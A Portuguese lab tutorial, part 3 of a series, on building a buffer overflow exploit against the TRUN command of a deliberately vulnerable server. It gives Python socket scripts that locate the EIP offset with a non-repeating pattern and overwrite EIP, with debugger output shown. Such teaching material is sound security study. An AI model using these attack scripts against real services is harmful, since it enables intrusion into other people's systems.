Buffer Overflow | Devenlop Exploit Parte 3

Criando um padrão de caracteres não-repetido
Sabemos que quatro dos caracteres 'A' acabou no EIP, mas quais?
Para descobrir isso, vamos usar um padrão de caracteres não-repetido.
Na máquina Kali Linux, em uma janela do terminal, execute o comando:

root@kali:~# nano eip4

Na janela do nano copie ou cole esse código;

GNU nano 2.2.6                                                               File: fuzz                                                                Modified  
#!/usr/bin/python
chars = ''
for i in range(0x30, 0x35):
    for j in range(0x30, 0x3A):
        for k in range(0x30, 0x3A):
            chars += chr(i) + chr(j) + chr(k) + 'A'
print chars
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Esse script em Python cria um padrão simples de sequências de quatro bytes e imprime para que você possa vê na tela.
Agora vamos execultar o Script, comando: python eip4

Como você pode ver, o padrão é simples - um número de três dígitos seguido por 'A'. Se eu adicionar espaços para maior clareza, o padrão é assim:     
      
 000A 001A 002A 003A 004A
              ...
250A 251A 252A 253A 254A
              ...
495A 496A 497A 498A 499A

Há 500 grupos de quatro caracteres, de 000A a 499A, para um total de 2.000 bytes. 

Enviando o Padrão não repetidos para o Servidor
Na máquina Kali Linux, no terminal, execute o comando:

root@kali:~# nano eip-exploit

Na janela do nano copie ou cole esse código: Nao esqueça de trocar pelo ip do seu servidor

GNU nano 2.2.6                                                File: eip-exploit                                                               Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999
prefix = 'A' * 1000
chars = ''
for i in range(0x30, 0x35):
    for j in range(0x30, 0x3A):
        for k in range(0x30, 0x3A):
            chars += chr(i) + chr(j) + chr(k) + 'A'
attack = prefix + chars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, com o tamanho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ..

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Isto irá enviar um ataque de 3000 byte para o servidor, consistindo de 1000 caracteres 'A' seguidos pelo padrão de não-repetido de 2.000 bytes.

Agora na máquina do Kali Linux pecisamos execultar o script comando:

root@kali:~# python eip-exploit
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

Olhando na máquina Windows  você vê, no canto inferior esquerdo da janela do Immunity agora diz "Violação de acesso ao executar [35324131]", Também destaquei o EIP em Registers <FPU> como mostrado abaixo.

Vamos converter esse hex para charactere: 
 
Hex  Character
-------  ----------
 35      5
 32      2
 41      A
 31      1

Assim, os caracteres são '52A1'. No entanto, os processadores Intel são "Little Endian", pelo que os endereços são inseridos na ordem inversa, de modo que os caracteres reais que foram colocados no EIP foram '1A25'.
Esses bytes aparecem aqui: Você indo no menu do terminal no kali em Search -> Find ou Precionado Shift + Ctrl + F e digitando 1A25 vc encontrara.
Esses bytes aparecem aqui:

É esta parte da entrada de cadeia  (com espaços adicionado mais uma vez, para maior clareza) 


 000A 001A 002A 003A 004A
              ...
250A 251A 252A 253A 254A
              ...
495A 496A 497A 498A 499A

O padrão '1A25' ocorre após o campos 251 de quatro bytes + mais 2 bytes, ou 251 x 4 + 2 = 1004 + 2 = 1006 bytes.

Nosso ataque usado 1000 caracteres 'A' antes do padrão de não-repetido, por isso a EIP contém os quatro bytes após os primeiros 2.006 bytes do ataque.

Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN

Segmentação do EIP 
Na máquina Kali Linux, no terminal, execute o comando:

root@kali:~# nano eip-exploit-2

Na janela do nano, digite ou cole este código abaixo .
Substitua o endereço IP com o endereço IP da sua máquina.

#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999

prefix = 'A' * 2006
eip = 'BCDE'
padding = 'F' * (3000 - 2006 - 4)
attack = prefix + eip + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, com o tamanho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Este script  irá enviar um ataque de 3000 bytes para o servidor, que consiste de 2006 caracteres 'A'  seguido por 'BCDE', que deve acabar no EIP e  caracteres ' F ' suficientes para fazer o total de 3000 bytes.

Em seguida, você precisa executável o script . Para isso, no Kali Linux, noterminal, execute o comando:

root@kali:~# python eip-exploit-2

Olhando para o windows no canto inferior esquerdo da janela do Immunity agora diz "Violação de acesso ao executar [45444342]", 
Vamos converter esse hex para caractere:

Hex  Character
-------  ----------
 45      E
 44      D
 43      C
 42      B

Assim, os caracteres são 'EDCB'. No entanto como eu já falei antes, os processadores Intel são "Little Endian", pelo que os endereços são inseridos na ordem inversa, de modo que os caracteres reais que foram colocados no EIP foram 'BCDE', como mostrado abaixo.
Este é o sucesso, esses valores hexadecimais são 'BCDE' na ordem inversa.

Examinando a Memória do ESP
Ainda com os script e o Immunity em execulção.

Parte 4 Clicando aqui